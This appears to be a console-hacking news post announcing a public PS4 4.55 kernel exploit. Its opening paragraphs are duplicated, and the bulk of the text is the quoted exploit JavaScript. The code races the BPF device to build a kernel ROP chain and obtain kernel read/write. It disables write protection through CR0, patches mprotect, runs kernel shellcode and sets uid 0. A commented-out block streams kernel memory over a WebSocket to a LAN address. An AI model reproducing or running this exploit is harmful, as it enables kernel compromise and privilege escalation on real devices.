Following the PS4 4.05 Kernel Exploit, news of his PS4 5.00 Kernel Bug, confirmation of achieving PS4 5.00 Kernel Code Exec and his recent PlayStation 4 Dev Hints today popular hacker Qwertyoruiopz released a PS4 4.55 Kernel Exploit publicly!
This comes after his JailBreakMe PS4 4.0x Webkit Exploit release followed by the Userland Exploit Breakdown, so while those on PS4 4.06 and 4.07 OFW can make use of the new kernel exploit for 4.50 and 4.55 users it will be up to PlayStation 4 scene developers to bridge the required userland exploit gap to the 4.55 kernel exploit.
Until then, based on the PS4 Game Minimum Firmware Version requirement lists according to notzecoxao some new PlayStation 4 games should surface soon in PKG format including Nioh, Nier, Hitman (latest update) and Persona 5.
To quote from the hax455.txt:
Cheers to @B7U3 C50SS, @bonusball, @Chaos Kid, @hyndrid, @MaSsAcReuR and @tnt2005 in the PSXHAX Shoutbox for all the news tips today!
This comes after his JailBreakMe PS4 4.0x Webkit Exploit release followed by the Userland Exploit Breakdown, so while those on PS4 4.06 and 4.07 OFW can make use of the new kernel exploit for 4.50 and 4.55 users it will be up to PlayStation 4 scene developers to bridge the required userland exploit gap to the 4.55 kernel exploit.
Until then, based on the PS4 Game Minimum Firmware Version requirement lists according to notzecoxao some new PlayStation 4 games should surface soon in PKG format including Nioh, Nier, Hitman (latest update) and Persona 5.
To quote from the hax455.txt:
Code:
function stage4_()
{
function malloc(sz)
{
var backing = new Uint8Array(1000+sz);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = backing;
return ptr;
}
function malloc32(sz)
{
var backing = new Uint8Array(0x1000+sz*4);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = new Uint32Array(backing.buffer);
return ptr;
}
var strcpy_helper = new Uint8Array(0x1000);
var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);
function strcpy(ptr, str)
{
p.write8(where_writeptr_strcpy, ptr);
for (var i = 0; i < str.length; i++)
strcpy_helper[i] = str.charCodeAt(i) & 0xFF;
strcpy_helper[str.length] = 0;
}
var sysctlbyname = window.libKernelBase.add32(0xF290);
var sysreq = malloc32(0x10);
sysreq.backing[0] = 7;
sysreq.backing[1] = 0;
sysreq.backing[4] = 0x10;
var retv = malloc(0x100);
var __errno_ptr = p.fcall(window.libKernelBase.add32(0x2BE0));
var rv = p.fcall(sysctlbyname, p.sptr("machdep.openpsid"), retv, sysreq.add32(0x10), 0, 0);
var str = "";
for (var i=0; i<0x10; i++)
{
str += zeroFill(retv.backing[i].toString(16),2) + " ";
}
// log("psid: " + str)
var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
if (fd == (-1 >>> 0))
{
print("kexp failed: no bpf0");
}
// print("fd: " + fd);
var scratch = malloc(0x100);
var ifname = malloc(0x10);
strcpy(ifname, "wlan0");
p.syscall("ioctl", fd, 0x8020426c, ifname);
var ret = p.syscall("write", fd, scratch, 40);
if (ret.low == (-1 >>> 0))
{
strcpy(ifname, "eth0");
p.syscall("ioctl", fd, 0x8020426c, ifname);
var ret = p.syscall("write", fd, scratch, 40);
if (ret.low == (-1 >>> 0))
{
throw "kexp failed :(";
}
}
var assertcnt = 0;
var assert = function(x)
{
assertcnt++;
if (!x) throw "assertion " + assertcnt + " failed";
}
print("got it");
var bpf_valid = malloc32(0x4000);
var bpf_valid_u32 = bpf_valid.backing;
var bpf_valid_prog = malloc(0x40);
p.write8(bpf_valid_prog, 64)
p.write8(bpf_valid_prog.add32(8), bpf_valid)
for (var i = 0 ; i < 0x4000; )
{
bpf_valid_u32[i++] = 6; // BPF_RET
bpf_valid_u32[i++] = 0;
}
var bpf_invalid = malloc32(0x4000);
var bpf_invalid_u32 = bpf_invalid.backing;
var bpf_invalid_prog = malloc(0x40);
p.write8(bpf_invalid_prog, 64)
p.write8(bpf_invalid_prog.add32(8), bpf_invalid)
for (var i = 0 ; i < 0x4000; )
{
bpf_invalid_u32[i++] = 4; // NOP
bpf_invalid_u32[i++] = 0;
}
var push_bpf = function(bpfbuf, cmd, k)
{
var i = bpfbuf.i;
if (!i) i=0;
bpfbuf[i*2] = cmd;
bpfbuf[i*2+1] = k;
bpfbuf.i = i+1;
}
push_bpf(bpf_invalid_u32, 5, 2); // jump
push_bpf(bpf_invalid_u32, 0x12, 0); // invalid opcode
bpf_invalid_u32.i = 16;
var bpf_write8imm = function(bpf, offset, imm)
{
if (!(imm instanceof int64))
{
imm = new int64(imm,0);
}
push_bpf(bpf, 0, imm.low); // BPF_LD|BPF_IMM
push_bpf(bpf, 2, offset); // BPF_ST
push_bpf(bpf, 0, imm.hi); // BPF_LD|BPF_IMM
push_bpf(bpf, 2, offset+1); // BPF_ST -> RDI: pop rsp
}
var bpf_copy8 = function(bpf, offset_to, offset_from)
{
push_bpf(bpf, 0x60, offset_from); // BPF_LD|BPF_MEM
push_bpf(bpf, 2, offset_to); // BPF_ST
push_bpf(bpf, 0x60, offset_from+1); // BPF_LD|BPF_MEM
push_bpf(bpf, 2, offset_to+1); // BPF_ST
}
var bpf_add4 = function(bpf, offset, val)
{
push_bpf(bpf, 0x60, offset); // BPF_LD
push_bpf(bpf, 0x4, val); // BPF_ALU|BPF_ADD|BPF_K
push_bpf(bpf, 2, offset); // BPF_ST
}
var krop_off_init = 0x1e;
var krop_off = krop_off_init;
var reset_krop = function() {
krop_off = krop_off_init;
bpf_invalid_u32.i = 16;
}
var push_krop = function(value)
{
bpf_write8imm(bpf_invalid_u32, krop_off, value);
krop_off += 2;
}
var push_krop_fromoff = function(value)
{
bpf_copy8(bpf_invalid_u32, krop_off, value);
krop_off += 2;
}
var finalize_krop = function(retv)
{
if(!retv) retv = 5;
push_bpf(bpf_invalid_u32, 6, retv); // return 5
}
var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);
assert(rtv.low == 0);
rtv = p.syscall("write", fd, scratch, 40);
assert(rtv.low == (-1 >>> 0));
var kscratch = malloc32(0x80);
var kchain = new window.RopChain();
kchain.clear();
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
kchain.push(window.webKitBase.add32(0x3EBD0));
reset_krop();
//push_krop(window.gadgets["infloop"]); // 8
bpf_copy8(bpf_invalid_u32, 0, 0x1e);
push_krop(window.gadgets["pop rsi"]); // 0x10
push_krop_fromoff(0);
push_krop(window.gadgets["pop rsp"]);
push_krop(kchain.ropframeptr); // 8
finalize_krop(0);
var spawnthread = function(chain) {
/*
seg000:00000000007FA7D0 sub_7FA7D0 proc near ; DATA XREF: sub_7F8330+5Eo
seg000:00000000007FA7D0 55 push rbp
seg000:00000000007FA7D1 48 89 E5 mov rbp, rsp
seg000:00000000007FA7D4 41 56 push r14
seg000:00000000007FA7D6 53 push rbx
seg000:00000000007FA7D7 48 89 F3 mov rbx, rsi
seg000:00000000007FA7DA 49 89 FE mov r14, rdi
seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00 lea rsi, aMissingPlteBef ; "Missing PLTE before tRNS" < search this
-> xref of sub_7FA7D0:
seg000:00000000007F8380 48 8D 3D 28 D8 EC 00 lea rdi, a1_5_18_0 ; "1.5.18"
seg000:00000000007F8387 48 8D 15 82 23 00 00 lea rdx, sub_7FA710
seg000:00000000007F838E 48 8D 0D 3B 24 00 00 lea rcx, sub_7FA7D0
seg000:00000000007F8395 31 F6 xor esi, esi
seg000:00000000007F8397 49 C7 47 20 00 00 00 00 mov qword ptr [r15+20h], 0
seg000:00000000007F839F 66 41 C7 47 18 00 00 mov word ptr [r15+18h], 0
seg000:00000000007F83A6 49 C7 47 10 00 00 00 00 mov qword ptr [r15+10h], 0
seg000:00000000007F83AE E8 8D 3C D3 00 call sub_152C040
-> code:
m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning);
decodingWarning -> sub_7FA7D0 (where Missing PLTE before tRNS is referenced)
decodingFailed -> contains longjmp (which we want)
seg000:00000000007FA710 sub_7FA710 proc near ; DATA XREF: sub_7F8330+57o
seg000:00000000007FA710 ; sub_7F9DC0+2Eo
seg000:00000000007FA710 55 push rbp
seg000:00000000007FA711 48 89 E5 mov rbp, rsp
seg000:00000000007FA714 48 8B 35 5D B6 E5 02 mov rsi, cs:qword_3655D78
seg000:00000000007FA71B BA 60 00 00 00 mov edx, 60h ; '`'
seg000:00000000007FA720 E8 AB E6 D2 00 call sub_1528DD0
seg000:00000000007FA725 BE 01 00 00 00 mov esi, 1
seg000:00000000007FA72A 48 89 C7 mov rdi, rax
seg000:00000000007FA72D E8 26 6D 80 FF call sub_1458 < longjmp
seg000:00000000007FA732 0F 0B ud2
seg000:00000000007FA732 sub_7FA710 endp
*/
var longjmp = webKitBase.add32(0x1458);
// ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name)
/*
seg000:00000000001DD17F 48 8D 15 C9 38 4C 01 lea rdx, aWebcoreGccontr ; "WebCore: GCController" < search this
seg000:00000000001DD186 31 F6 xor esi, esi
seg000:00000000001DD188 E8 B3 1B F9 00 call sub_116ED40 < createThread
*/
var createThread = window.webKitBase.add32(0x116ED40);
var contextp = malloc32(0x2000);
var contextz = contextp.backing;
contextz[0] = 1337;
var thread2 = new RopChain();
thread2.clear();
thread2.push(window.gadgets["ret"]); // nop
thread2.push(window.gadgets["ret"]); // nop
thread2.push(window.gadgets["ret"]); // nop
thread2.push(window.gadgets["ret"]); // nop
chain(thread2);
p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget
p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp
p.fcall(createThread, longjmp, contextp, p.sptr("GottaGoFast"));
window.nogc.push(contextz);
window.nogc.push(thread2);
return thread2;
}
var interrupt1 = 0;
var interrupt2 = 0;
// ioctl() with valid BPF program -> will trigger reallocation of BFP code alloc
spawnthread(function(thread2){
interrupt1 = thread2.ropframeptr;
thread2.push(window.gadgets["pop rdi"]); // pop rdi
thread2.push(fd); // what
thread2.push(window.gadgets["pop rsi"]); // pop rsi
thread2.push(0x8010427B); // what
thread2.push(window.gadgets["pop rdx"]); // pop rdx
thread2.push(bpf_valid_prog); // what
thread2.push(window.gadgets["pop rsp"]); // pop rdx
thread2.push(thread2.ropframeptr.add32(0x800)); // what
thread2.count = 0x100;
var cntr = thread2.count;
thread2.push(window.syscalls[54]); // ioctl
thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
thread2.push(window.gadgets["pop rsp"]); // pop rdx
thread2.push(thread2.ropframeptr); // what
})
// ioctl() with invalid BPF program -> this will be executed when triggering bug
spawnthread(function(thread2){
interrupt2 = thread2.ropframeptr;
thread2.push(window.gadgets["pop rdi"]); // pop rdi
thread2.push(fd1); // what
thread2.push(window.gadgets["pop rsi"]); // pop rsi
thread2.push(0x8010427B); // what
thread2.push(window.gadgets["pop rdx"]); // pop rdx
thread2.push(bpf_invalid_prog); // what
thread2.push(window.gadgets["pop rsp"]); // pop rdx
thread2.push(thread2.ropframeptr.add32(0x800)); // what
thread2.count = 0x100;
var cntr = thread2.count;
thread2.push(window.syscalls[54]); // ioctl
thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
thread2.push(window.gadgets["pop rsp"]); // pop rdx
thread2.push(thread2.ropframeptr); // what
})
function kernel_rop_run(cb)
{
kchain.clear();
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
kchain.push(window.gadgets["ret"]);
cb(kchain);
kchain.push(window.gadgets["pop rax"]);
kchain.push(0);
kchain.push(window.gadgets["ret"]);
kchain.push(window.webKitBase.add32(0x3EBD0));
while(1)
{
if (p.syscall(4, fd, scratch, 40).low == 40)
{
return p.read8(kscratch);
break;
}
}
}
function leak_kern_rip() {
return kernel_rop_run(function(kchain)
{
kchain.push(window.gadgets["pop rdi"]);
kchain.push(kscratch);
kchain.push(window.gadgets["mov [rdi], rsi"]);
});
}
function kernel_read8(addr) {
return kernel_rop_run(function(kchain)
{
kchain.push(window.gadgets["pop rdi"]);
kchain.push(addr);
kchain.push(window.webKitBase.add32(0x13A220)); // deref
kchain.push(window.gadgets["pop rdi"]);
kchain.push(kscratch);
kchain.push(window.gadgets["mov [rdi], rax"]);
});
}
function kernel_memcpy(to,from,size) {
return kernel_rop_run(function(kchain)
{
kchain.push(window.gadgets["pop rdi"]);
kchain.push(to);
kchain.push(window.gadgets["pop rsi"]);
kchain.push(from);
kchain.push(window.gadgets["pop rdx"]);
kchain.push(size);
kchain.push(window.gadgets["memcpy"]);
kchain.push(window.gadgets["mov [rdi], rax"]);
});
}
var kern_base = leak_kern_rip();
kern_base.low &= 0xffffc000;
kern_base.low -= 0x164000;
log("ay! " + kernel_read8(kern_base) + " " + kern_base);
/*
var chunksz = 0x40000;
var pagebuf = malloc(chunksz);
connection = new WebSocket('ws://192.168.0.125:8080');
connection.binaryType = "arraybuffer";
connection.onmessage = function() {
try {
kernel_memcpy(pagebuf, kern_base, chunksz);
connection.send(new Uint8Array(pagebuf.backing.buffer, 0, chunksz));
kern_base.add32inplace(chunksz);
}catch(e) {log(e);}
}
LOAD:FFFFFFFF9144CF70 0F 20 C0 mov rax, cr0
LOAD:FFFFFFFF9144CF73 48 0D 2A 00 05 00 or rax, 5002Ah
LOAD:FFFFFFFF9144CF79 0F 22 C0 mov cr0, rax
LOAD:FFFFFFFF9144CF7C C3 retn
FFFFFFFF91562A58
*/
var getset_cr0 = kern_base.add32(0x280f70);
var set_cr0 = kern_base.add32(0x280f79);
function kernel_get_cr0() {
return kernel_rop_run(function(kchain)
{
kchain.push(getset_cr0);
kchain.push(window.gadgets["pop rdi"]);
kchain.push(kscratch);
kchain.push(window.gadgets["mov [rdi], rax"]);
});
}
var cr0val = kernel_get_cr0();
cr0val.low &= ((~(1 << 16)) >>> 0);
log("cr0: " + cr0val);
function kernel_write8_cr0(addr, val) {
return kernel_rop_run(function(kchain)
{
kchain.push(window.gadgets["pop rax"]);
kchain.push(cr0val);
kchain.push(set_cr0);
kchain.push(window.gadgets["pop rdi"]);
kchain.push(addr);
kchain.push(window.gadgets["pop rax"]);
kchain.push(val);
kchain.push(window.gadgets["mov [rdi], rax"]);
kchain.push(getset_cr0);
});
}
function kernel_fcall(addr, arg0, arg1) {
return kernel_rop_run(function(kchain)
{
if(arg0)
{
kchain.push(window.gadgets["pop rdi"]);
kchain.push(arg0);
}
if(arg1)
{
kchain.push(window.gadgets["pop rsi"]);
kchain.push(arg1);
}
kchain.push(addr);
kchain.push(window.gadgets["pop rdi"]);
kchain.push(kscratch);
kchain.push(window.gadgets["mov [rdi], rax"]);
});
}
var mprotect_patchloc = kern_base.add32(0x396a58);
var mprotect_patchbytes = kernel_read8(mprotect_patchloc);
var mprotect_realbytes = mprotect_patchbytes;
log("patchbytes: " + mprotect_patchbytes);
mprotect_patchbytes.low = 0x90909090;
mprotect_patchbytes.hi &= 0xffff0000;
mprotect_patchbytes.hi |= 0x00009090;
var shellsize = window.shellcode.byteLength;
shellsize += 0x4000;
shellsize &= 0xffffc000;
var shellscratch_to = malloc32((0x10000 + shellsize)/4);
var origin_to = shellscratch_to.low;
shellscratch_to.low &= 0xffffc000;
shellscratch_to.low += 0x8000;
var offset = (shellscratch_to.low - origin_to) / 4;
for (var i=0; i < window.shellcode.length; i++)
{
shellscratch_to.backing[i+offset] = window.shellcode[i];
}
kernel_write8_cr0(mprotect_patchloc,mprotect_patchbytes);
var mapz = p.syscall("mprotect", shellscratch_to, shellsize, 7);
kernel_write8_cr0(mprotect_patchloc,mprotect_realbytes);
if (mapz.low != 0) throw "mprot fail!";
faultme = shellscratch_to.add32(0x0);
for (var i=0; i < window.shellcode.length; i+= 0x1000)
{
var bck = p.read8(faultme);
p.write8(faultme, 0xc3)
p.fcall(faultme); // test faulting
p.write8(faultme, bck)
}
p.syscall("mlock", shellscratch_to, shellsize);
var pyld_buf = p.read8(p.leakval(window.pyld).add32(0x10));
var zarguments = malloc32(0x1000);
p.write8(zarguments, kern_base);
p.write8(zarguments.add32(8), fd_kcall);
p.write8(zarguments.add32(16), interrupt1);
p.write8(zarguments.add32(24), interrupt2);
p.write8(zarguments.add32(32), window.syscalls[431]);
p.write8(zarguments.add32(40), window.syscalls[591]);
p.write8(zarguments.add32(48), window.syscalls[594]);
p.write8(zarguments.add32(56), pyld_buf); // pyld
p.write8(zarguments.add32(64), window.pyldpoint);
p.write8(zarguments.add32(72), window.pyld.byteLength);
var fd_kcall = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
log(p.read8(shellscratch_to.add32(window.entrypoint)));
log("kernel shellcode: " + kernel_fcall(shellscratch_to.add32(window.entrypoint), 1, zarguments));
p.syscall("setuid", 0);
log("uid: " + p.syscall("getuid"));
alert("enter user");
log("user shellcode: " + p.fcall(shellscratch_to.add32(window.entrypoint), 2, zarguments));
var lsscrtch32 = new Uint32Array(0x400);
var lsscrtch = p.read8(p.leakval(lsscrtch32).add32(0x10));
window.ls = function(path)
{
var sep = "/"
if (path[path.length-1]=="/") sep = "";
var fd = p.syscall("open", p.sptr(path), 0x1100004).low;
if (fd == (-1 >>> 0))
{
print("open("+path+"): -1");
return;
}
alert("getdenv");
print("Directory listing for " +path+":");
var total = p.syscall("getdents", fd, lsscrtch, 0x1000).low;
if (total == (-1 >>> 0))
{
print("getdents("+path+"): -1");
return;
}
alert("got denv");
var offset = 0;
while (offset < total)
{
var cur = lsscrtch.add32(offset);
var reclen = p.read4(cur.add32(4)) & 0xFFFF;
var filepath = path + sep + p.readstr(cur.add32(8));
print("<a href=javascript:window.ls('" + filepath + "');>" + filepath + "</a>");
offset += reclen;
if(!reclen) break;
}
p.syscall("close", fd);
}
print("<a href=javascript:window.ls('/');>ls /</a>");
}